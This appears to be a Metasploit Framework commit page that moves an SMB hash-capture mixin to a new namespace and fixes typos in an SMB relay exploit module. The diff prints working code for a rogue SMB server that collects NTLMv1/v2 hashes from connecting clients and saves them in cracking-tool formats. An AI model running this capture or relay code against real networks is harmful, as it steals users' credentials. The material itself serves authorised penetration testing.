Gracefully handle relay host timeout, fix typos, and move SMBHashCapture location

This commit is contained in:
adfoster-r7 2022-03-01 23:23:20 +00:00
parent a0e1306251
commit 53772fa366
No known key found for this signature in database
GPG Key ID: 3BD4FA3818818F04
6 changed files with 204 additions and 205 deletions

View File

@ -36,10 +36,12 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM
)
if relayed_connection.nil?
@relay_targets.on_relay_end(target, identity: session.metadata[:identity], is_success: false)
@relay_targets.on_relay_end(session.metadata[:relay_target], identity: session.metadata[:identity], is_success: false)
session.metadata[:relay_mode] = false
else
session.metadata[:relay_mode] = true
end
session.metadata[:relay_mode] = true
session.metadata[:relayed_connection] = relayed_connection
session.state = :in_progress

View File

@ -0,0 +1,191 @@
###
#
# This mixin provides support for reporting captured SMB creds
#
###
module Msf::Exploit::Remote::SMB::Server::HashCapture
include ::Msf::Auxiliary::Report
def validate_smb_hash_capture_datastore(datastore, ntlm_provider)
if datastore['CHALLENGE']
# Set challenge for all future server responses
chall = proc { [datastore['CHALLENGE']].pack('H*') }
ntlm_provider.generate_server_challenge(&chall)
end
if datastore['JOHNPWFILE']
print_status("JTR hashes will be split into two files depending on the hash format.")
print_status("#{build_jtr_file_name(JTR_NTLMV1)} for NTLMv1 hashes.")
print_status("#{build_jtr_file_name(JTR_NTLMV2)} for NTLMv2 hashes.")
print_line
end
if datastore['CAINPWFILE']
print_status("Cain & Abel hashes will be stored at #{File.expand_path(datastore['CAINPWFILE'], Msf::Config.install_root)}")
print_line
end
end
def report_ntlm_type3(address:, ntlm_type1:, ntlm_type2:, ntlm_type3:)
ntlm_message = ntlm_type3
hash_type = nil
user = ntlm_message.user.force_encoding(::Encoding::UTF_16LE).encode(''.encoding)
domain = ntlm_message.domain.force_encoding(::Encoding::UTF_16LE).encode(''.encoding)
challenge = [ntlm_type2.challenge].pack('Q<')
combined_hash = "#{user}::#{domain}"
case ntlm_message.ntlm_version
when :ntlmv1
hash_type = 'NTLMv1-SSP'
client_hash = "#{bin_to_hex(ntlm_message.lm_response)}:#{bin_to_hex(ntlm_message.ntlm_response)}"
combined_hash << ":#{client_hash}"
combined_hash << ":#{bin_to_hex(challenge)}"
when :ntlmv2
hash_type = 'NTLMv2-SSP'
client_hash = "#{bin_to_hex(ntlm_message.ntlm_response[0...16])}:#{bin_to_hex(ntlm_message.ntlm_response[16..-1])}"
combined_hash << ":#{bin_to_hex(challenge)}"
combined_hash << ":#{client_hash}"
end
return if hash_type.nil?
# TODO: write method for mapping +major+ and +minor+ OS values to human-readable OS names.
# client_os_version = ::NTLM::OSVersion.read(type1_msg.os_version)
print_line "[SMB] #{hash_type} Client : #{address}"
# print_line "[SMB] #{hash_type} Client OS : #{client_os_version}"
print_line "[SMB] #{hash_type} Username : #{domain}\\#{user}"
print_line "[SMB] #{hash_type} Hash : #{combined_hash}"
print_line
jtr_format = ntlm_message.ntlm_version == :ntlmv1 ? JTR_NTLMV1 : JTR_NTLMV2
if active_db?
origin = create_credential_origin_service(
{
address: address,
port: datastore['SRVPORT'],
service_name: 'smb',
protocol: 'tcp',
module_fullname: fullname,
workspace_id: myworkspace_id
}
)
credential_options = {
origin: origin,
origin_type: :service,
address: address,
port: datastore['SRVPORT'],
service_name: 'smb',
username: user,
server_challenge: challenge,
client_hash: client_hash,
# client_os_version: client_os_version,
private_data: combined_hash,
private_type: :nonreplayable_hash,
module_fullname: fullname,
workspace_id: myworkspace_id,
}
if domain.present?
credential_options[:domain] = domain
credential_options[:realm_key] = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN
credential_options[:realm_value] = domain
end
# TODO: Re-implement when +client_os_version+ can be determined.
# found_host = framework.db.hosts.find_by(address: address)
# found_host.os_name = credential_options[:client_os_version]
# found_host.save!
create_credential(credential_options)
end
if datastore['JOHNPWFILE']
path = build_jtr_file_name(jtr_format)
File.open(path, 'ab') do |f|
f.puts(combined_hash)
end
end
# Cain & Abel doesn't support import of NTLMv2 hashes
if datastore['CAINPWFILE'] && jtr_format == JTR_NTLMV1
# Cain&Abel hash format
# Username:Domain:Challenge:LMHash:NTLMHash
File.open(File.expand_path(datastore['CAINPWFILE'], Msf::Config.install_root), 'ab') do |f|
f.puts("#{user}:#{domain}:#{server_challenge}:#{client_hash}")
end
end
end
def build_jtr_file_name(jtr_format)
# JTR NTLM hash format NTLMv1
# Username::Domain:LMHash:NTHash:Challenge
#
# JTR NTLM hash format NTLMv2
# Username::Domain:Challenge:NTHash[0...16]:NTHash[16...-1]
path = File.expand_path(datastore['JOHNPWFILE'], Msf::Config.install_root)
# if the passed file name does not contain an extension
if File.extname(File.basename(path)).empty?
path += "_#{jtr_format}"
else
path_parts = path.split('.')
# inserts _jtr_format between the last extension and the rest of the path
path = "#{path_parts[0...-1].join('.')}_#{jtr_format}.#{path_parts[-1]}"
end
path
end
def bin_to_hex(str)
str.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
end
class HashCaptureNTLMProvider < ::RubySMB::Gss::Provider::NTLM
def initialize(allow_anonymous: false, default_domain: 'WORKGROUP', listener: nil)
super(allow_anonymous: allow_anonymous, default_domain: default_domain)
@listener = listener
end
# Needs overwritten to ensure our version of Authenticator is returned
def new_authenticator(server_client)
# build and return an instance that can process and track stateful information for a particular connection but
# that's backed by this particular provider
HashCaptureAuthenticator.new(self, server_client)
end
attr_reader :listener
end
class HashCaptureAuthenticator < ::RubySMB::Gss::Provider::NTLM::Authenticator
def process_ntlm_type1(type1_msg)
@ntlm_type1 = type1_msg
@ntlm_type2 = super
@ntlm_type2
end
def process_ntlm_type3(type3_msg)
_, address = ::Socket.unpack_sockaddr_in(@server_client.getpeername)
if @provider.listener
@provider.listener.on_ntlm_type3(
address: address,
ntlm_type1: @ntlm_type1,
ntlm_type2: @ntlm_type2,
ntlm_type3: type3_msg,
)
end
::WindowsError::NTStatus::STATUS_ACCESS_DENIED
end
end
end

View File

@ -1,196 +0,0 @@
module Msf
###
#
# This mixin provides support for reporting captured SMB creds
#
###
module Exploit::SMBHashCapture
include ::Msf::Auxiliary::Report
def validate_smb_hash_capture_datastore(datastore, ntlm_provider)
if datastore['CHALLENGE']
# Set challenge for all future server responses
chall = proc { [datastore['CHALLENGE']].pack('H*') }
ntlm_provider.generate_server_challenge(&chall)
end
if datastore['JOHNPWFILE']
print_status("JTR hashes will be split into two files depending on the hash format.")
print_status("#{build_jtr_file_name(JTR_NTLMV1)} for NTLMv1 hashes.")
print_status("#{build_jtr_file_name(JTR_NTLMV2)} for NTLMv2 hashes.")
print_line
end
if datastore['CAINPWFILE']
print_status("Cain & Abel hashes will be stored at #{File.expand_path(datastore['CAINPWFILE'], Msf::Config.install_root)}")
print_line
end
end
def report_ntlm_type3(address:, ntlm_type1:, ntlm_type2:, ntlm_type3:)
ntlm_message = ntlm_type3
hash_type = nil
user = ntlm_message.user.force_encoding(::Encoding::UTF_16LE).encode(''.encoding)
domain = ntlm_message.domain.force_encoding(::Encoding::UTF_16LE).encode(''.encoding)
challenge = [ntlm_type2.challenge].pack('Q<')
combined_hash = "#{user}::#{domain}"
case ntlm_message.ntlm_version
when :ntlmv1
hash_type = 'NTLMv1-SSP'
client_hash = "#{bin_to_hex(ntlm_message.lm_response)}:#{bin_to_hex(ntlm_message.ntlm_response)}"
combined_hash << ":#{client_hash}"
combined_hash << ":#{bin_to_hex(challenge)}"
when :ntlmv2
hash_type = 'NTLMv2-SSP'
client_hash = "#{bin_to_hex(ntlm_message.ntlm_response[0...16])}:#{bin_to_hex(ntlm_message.ntlm_response[16..-1])}"
combined_hash << ":#{bin_to_hex(challenge)}"
combined_hash << ":#{client_hash}"
end
return if hash_type.nil?
# TODO: write method for mapping +major+ and +minor+ OS values to human-readable OS names.
# client_os_version = ::NTLM::OSVersion.read(type1_msg.os_version)
print_line "[SMB] #{hash_type} Client : #{address}"
# print_line "[SMB] #{hash_type} Client OS : #{client_os_version}"
print_line "[SMB] #{hash_type} Username : #{domain}\\#{user}"
print_line "[SMB] #{hash_type} Hash : #{combined_hash}"
print_line
jtr_format = ntlm_message.ntlm_version == :ntlmv1 ? JTR_NTLMV1 : JTR_NTLMV2
if active_db?
origin = create_credential_origin_service(
{
address: address,
port: datastore['SRVPORT'],
service_name: 'smb',
protocol: 'tcp',
module_fullname: fullname,
workspace_id: myworkspace_id
}
)
credential_options = {
origin: origin,
origin_type: :service,
address: address,
port: datastore['SRVPORT'],
service_name: 'smb',
username: user,
server_challenge: challenge,
client_hash: client_hash,
# client_os_version: client_os_version,
private_data: combined_hash,
private_type: :nonreplayable_hash,
module_fullname: fullname,
workspace_id: myworkspace_id,
}
if domain.present?
credential_options[:domain] = domain
credential_options[:realm_key] = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN
credential_options[:realm_value] = domain
end
# TODO: Re-implement when +client_os_version+ can be determined.
# found_host = framework.db.hosts.find_by(address: address)
# found_host.os_name = credential_options[:client_os_version]
# found_host.save!
create_credential(credential_options)
end
if datastore['JOHNPWFILE']
path = build_jtr_file_name(jtr_format)
File.open(path, 'ab') do |f|
f.puts(combined_hash)
end
end
# Cain & Abel doesn't support import of NTLMv2 hashes
if datastore['CAINPWFILE'] && jtr_format == JTR_NTLMV1
# Cain&Abel hash format
# Username:Domain:Challenge:LMHash:NTLMHash
File.open(File.expand_path(datastore['CAINPWFILE'], Msf::Config.install_root), 'ab') do |f|
f.puts("#{user}:#{domain}:#{server_challenge}:#{client_hash}")
end
end
end
def build_jtr_file_name(jtr_format)
# JTR NTLM hash format NTLMv1
# Username::Domain:LMHash:NTHash:Challenge
#
# JTR NTLM hash format NTLMv2
# Username::Domain:Challenge:NTHash[0...16]:NTHash[16...-1]
path = File.expand_path(datastore['JOHNPWFILE'], Msf::Config.install_root)
# if the passed file name does not contain an extension
if File.extname(File.basename(path)).empty?
path += "_#{jtr_format}"
else
path_parts = path.split('.')
# inserts _jtr_format between the last extension and the rest of the path
path = "#{path_parts[0...-1].join('.')}_#{jtr_format}.#{path_parts[-1]}"
end
path
end
def bin_to_hex(str)
str.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
end
class HashCaptureNTLMProvider < RubySMB::Gss::Provider::NTLM
def initialize(allow_anonymous: false, default_domain: 'WORKGROUP', listener: nil)
super(allow_anonymous: allow_anonymous, default_domain: default_domain)
@listener = listener
end
# Needs overwritten to ensure our version of Authenticator is returned
def new_authenticator(server_client)
# build and return an instance that can process and track stateful information for a particular connection but
# that's backed by this particular provider
HashCaptureAuthenticator.new(self, server_client)
end
attr_reader :listener
end
class HashCaptureAuthenticator < RubySMB::Gss::Provider::NTLM::Authenticator
def process_ntlm_type1(type1_msg)
@ntlm_type1 = type1_msg
@ntlm_type2 = super
@ntlm_type2
end
def process_ntlm_type3(type3_msg)
_, address = ::Socket.unpack_sockaddr_in(@server_client.getpeername)
if @provider.listener
@provider.listener.on_ntlm_type3(
address: address,
ntlm_type1: @ntlm_type1,
ntlm_type2: @ntlm_type2,
ntlm_type3: type3_msg,
)
end
::WindowsError::NTStatus::STATUS_ACCESS_DENIED
end
end
end
end

View File

@ -329,4 +329,6 @@ end
# global autoload of common gems
autoload :Faker, 'faker'
autoload :BinData, 'bindata'
autoload :RubySMB, 'ruby_smb'
require 'rexml/document'

View File

@ -8,7 +8,7 @@ require 'ruby_smb/gss/provider/ntlm'
require 'metasploit/framework/hashes/identify'
class MetasploitModule < Msf::Auxiliary
include ::Msf::Exploit::SMBHashCapture
include ::Msf::Exploit::Remote::SMB::Server::HashCapture
def initialize
super({
@ -49,7 +49,7 @@ class MetasploitModule < Msf::Auxiliary
OptString.new('JOHNPWFILE', [ false, 'Name of file to store JohnTheRipper hashes in. Supports NTLMv1 and NTLMv2 hashes, each of which is stored in separate files. Can also be a path.', nil ]),
OptString.new('CHALLENGE', [ false, 'The 8 byte server challenge. Set values must be a valid 16 character hexadecimal pattern. If unset a valid random challenge is used.' ], regex: /^([a-fA-F0-9]{16})$/),
OptString.new('SMBDomain', [ true, 'The domain name used during SMB exchange.', 'WORKGROUP'], aliases: ['DOMAIN_NAME']),
OptAddressLocal.new('SRVHOST', [true, 'The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.']),
OptAddress.new('SRVHOST', [ true, 'The local host to listen on.', '0.0.0.0' ]),
OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 445 ]),
OptInt.new('TIMEOUT', [ true, 'Seconds that the server socket will wait for a response after the client has initiated communication.', 5])
]
@ -109,7 +109,7 @@ class MetasploitModule < Msf::Auxiliary
def cleanup
begin
@rsock.close if @rsock
rescue => e
rescue StandardError => e
elog('Failed closing SMB server socket', error: e)
end

View File

@ -19,7 +19,7 @@ class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include ::Msf::Exploit::Remote::SocketServer
include ::Msf::Exploit::SMBHashCapture
include ::Msf::Exploit::Remote::SMB::Server::HashCapture
include ::Msf::Exploit::Remote::SMB::Client::Psexec
include ::Msf::Exploit::Powershell
include Msf::Exploit::EXE
@ -118,7 +118,7 @@ class MetasploitModule < Msf::Exploit::Remote
[
OptString.new('SMBSHARE', [false, 'The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share', ''], aliases: ['SHARE']),
OptAddressRange.new('RELAY_TARGETS', [true, 'Target address range or CIDR identifier to relay to'], aliases: ['SMBHOST']),
OptAddressLocal.new('SRVHOST', [true, 'The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.']),
OptAddress.new('SRVHOST', [ true, 'The local host to listen on.', '0.0.0.0' ]),
OptPort.new('SRVPORT', [true, 'The local port to listen on.', 445]),
OptString.new('CAINPWFILE', [false, 'Name of file to store Cain&Abel hashes in. Only supports NTLMv1 hashes. Can be a path.', nil]),
OptString.new('JOHNPWFILE', [false, 'Name of file to store JohnTheRipper hashes in. Supports NTLMv1 and NTLMv2 hashes, each of which is stored in separate files. Can also be a path.', nil]),
@ -258,7 +258,7 @@ class MetasploitModule < Msf::Exploit::Remote
def start
@listener_sock = Rex::Socket::TcpServer.create(sock_options)
@listener_server = Msf::Exploit::Remote::SMB::Relay::NTLM::Server.new(**smb_server_options(@listener_sock))
@listener_thread = Rex::ThreadFactory.spawn('UDPLDAPServerListener', false) do
@listener_thread = Rex::ThreadFactory.spawn('SMBRelayServerListener', false) do
@listener_server.run
rescue StandardError => e
elog(e)
@ -270,7 +270,7 @@ class MetasploitModule < Msf::Exploit::Remote
@listener_server.close if @server && !@server.closed?
@listener_thread.kill if @listener_thread
rescue StandardError => e
print_error('Failed closing SMV server')
print_error('Failed closing SMB server')
elog('Failed closing SMB server', error: e)
end